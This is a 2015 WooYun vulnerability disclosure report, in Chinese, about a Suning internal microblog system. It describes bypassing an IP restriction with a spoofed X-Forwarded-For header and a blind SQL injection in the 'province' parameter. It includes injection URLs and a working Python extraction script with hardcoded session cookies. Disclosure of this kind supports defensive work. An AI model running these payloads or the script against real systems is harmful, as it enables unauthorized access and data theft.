当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0123916

漏洞标题:苏宁内部系统SQL注入(附利用方法和验证脚本)

相关厂商:江苏苏宁易购电子商务有限公司

漏洞作者: Coody

提交时间:2015-07-01 16:23

修复时间:2015-08-15 16:40

公开时间:2015-08-15 16:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-01: 细节已通知厂商并且等待厂商处理中
2015-07-01: 厂商已经确认,细节仅向厂商公开
2015-07-11: 细节向核心白帽子及相关领域专家公开
2015-07-21: 细节向普通白帽子公开
2015-07-31: 细节向实习白帽子公开
2015-08-15: 细节向公众公开

简要描述:

说好的礼品卡呢?

详细说明:

漏洞站点:http://weibo.cnsuning.com/ (苏宁:不是所有的微博都叫苏宁微博)
0x01:绕过ip地址限制
直接访问该地址,提示“您当前的IP在不是苏宁电器总部的IP,无法访问前台。”

QQ图片20150701155941.png


额,目测是验证客户端的来源ip,直接使用 X-Forwarded-For 插件就可绕过验证

QQ图片20150701160121.png


设置好后,直接访问目标地址

QQ图片20150701160237.png


嗯哼,直接打开了。
0x02:获取内部帐号

通过收集信息,直接登录一个内部帐号(此处略~~~)
0x03:SQL注入漏洞
通过测试,发现该系统存在SQL注入漏洞
问题链接为:http://weibo.cnsuning.com/ajax.php?mod=member&code=sel&type=top&province=1&hid_city=
其中参数 province 存在注入,
判断数据库名的长度,
http://weibo.cnsuning.com/ajax.php?mod=member&code=sel&type=top&province=1/**/and/**/length(database())=5&hid_city=
当 length 的长度等于5时返回正常

QQ图片20150701161446.png


修改语句直接跑取数据库名

/ajax.php?mod=member&code=sel&type=top&province=1/**/and/**/ascii(substr(database(),N,1))=M&hid_city=
其中 N 代表第几位字符 ,M 代表字母 ascii 码


当前数据库名称为“weibo”

QQ图片20150701161733.jpg

漏洞证明:

附上利用脚本:

#encoding=utf-8 
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded',
'X-Requested-With': 'XMLHttpRequest',
'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.90 Safari/537.36',
'Cookie':' _wbma=weibo.cnsuning.com%7C14353112666246444095519302%7C1435311266624%7C1435736372201%7C1435736405085%7C81%7C3; _wbmc=weibo.cnsuning.com; _wbmb=14357360303501756793251744%7C%7C%7C22;jishigou_YnQbd2_auth=b894Q1QF2ymXvAaat%2BBJ0dwP0InpJNhi3zGtCB30mGyR2Q4BH7uk%2Bf%2F%2FQKxTY%2Bysci6B4luF2L1gMgNn6on8SHIcKw; jishigou_YnQbd2_login_credits=1435736257; jishigou_YnQbd2_sid=DPZcJd',
'X-Forwarded-For':'192.168.121.194'}
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
print 'start to retrive Current database name :'
user = ''
for i in range(1,6):
for payload in payloads:
conn = httplib.HTTPConnection('weibo.cnsuning.com', timeout=120)
conn.request(method='GET',
url='/ajax.php?mod=member&code=sel&type=top&province=1/**/and/**/ascii(substr(database(),%s,1))=%s' % (i,ord(payload)),
headers=headers)
resp = conn.getresponse()
html_doc = resp.read()
conn.close()
#print html_doc
print '.',
if html_doc.find('value=41') > 0: # True
#print bb
user += payload
print '\n[in progress]', user
break
print '\nCurrent Database name is', user

修复方案:

版权声明:转载请注明来源 Coody@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-01 16:39

厂商回复:

感谢提交,此系统非苏宁易购网站。

最新状态:

暂无